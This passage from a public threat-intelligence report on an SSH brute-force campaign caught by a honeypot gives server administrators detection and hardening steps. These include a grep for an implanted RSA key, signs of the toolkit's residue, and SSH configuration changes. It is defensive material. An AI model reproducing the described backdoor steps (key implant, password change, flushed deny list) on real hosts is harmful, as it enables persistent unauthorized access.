Same IP, same hostname, different role across two dossiers. The operator behind bullshit-irc.net is either running both campaigns from the same host, or the host has been compromised twice (and is now running both implants in parallel). Either way, the same infrastructure surfaces in two distinct investigations — a useful pivot for further analysis, and a strong argument that the underground economy maps in TI-2026-007 should be re-checked for Backdoor-Key Harvester signatures.

IF YOU RUN LINUX SERVERS — WHAT TO DO TONIGHT

Five concrete actions, ranked by urgency. Step 1 is the one most readers should run before reading anything else.

⚡ Step 1 · Do this first

Detect — grep your authorized_keys for the implanted RSA blob

$ grep -rF 'AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv' \
    /root/.ssh /home/*/.ssh /etc/ssh 2>/dev/null

✅ Silent output
Clean — no implant on this host.

🚨 Any line returned
Compromised. Rotate credentials, rebuild from known-good media, do not trust the host until then.

Step 2 · Investigate

🔍 Look for toolkit residue

Even on hosts the brute-force didn't compromise, check for:

Empty /etc/hosts.deny (toolkit-flushed)
Missing /tmp/secure.sh / /tmp/auth.sh
Unaccounted chpasswd in /var/log/auth.log

Step 3 · Harden

🔒 Disable root password SSH

If you accept SSH from the public internet on root with passwords, this is the campaign that finds you.

PermitRootLogin no
PasswordAuthentication no

Defeats the entire toolkit: step 4 (chpasswd) is meaningless without password auth; step 2 (key install) requires successful login first.

Step 4 · Block (with caveat)

🚧 Add the 31 IPs to your blocklist

Useful as a short-term mitigation — but understand they are compromised hosts, not the operator.

The operator will rotate to fresh victim hosts within hours of takedown. Treat the IP list as a moving target, not a fix.

Step 5 · Notify

📨 Tell the abuse desks

If you operate at one of the netblocks listed in the WHOIS section above — DigitalOcean, Microsoft, Google, Hetzner, ByteDance, SK Broadband, CTM, Mundivox, Etisalat, Ufanet, IDCloudHost, Cloud Host Pte Ltd, the smaller APAC/AFRINIC/LACNIC ISPs — your customer at the listed IP is being used as a scanner. A short notification to the abuse-mailbox in the WHOIS record helps the operator's victim layer get rebuilt faster than the operator can replace it.

Investigation Period: 2026-03-28 → 2026-05-01 (ongoing, 34+ days) · Analyst: Lișneanu Dumitru-Cristian + Copilot SOC · Classification: TLP:WHITE — Public · Data Source: Cowrie SSH Honeypot (43 days of JSON event logs, 260 MB) · OSINT Sources: RIPE / APNIC / AFRINIC / LACNIC / ARIN WHOIS, team-cymru BGP origin AS, Shodan InternetDB, system DNS rDNS · Editorial principle: every WHOIS identifier reproduced verbatim from the public RIR record for the netblock that hit the honeypot. The honeypot caught what it caught. We are not the judges; we are the providers of what the records say.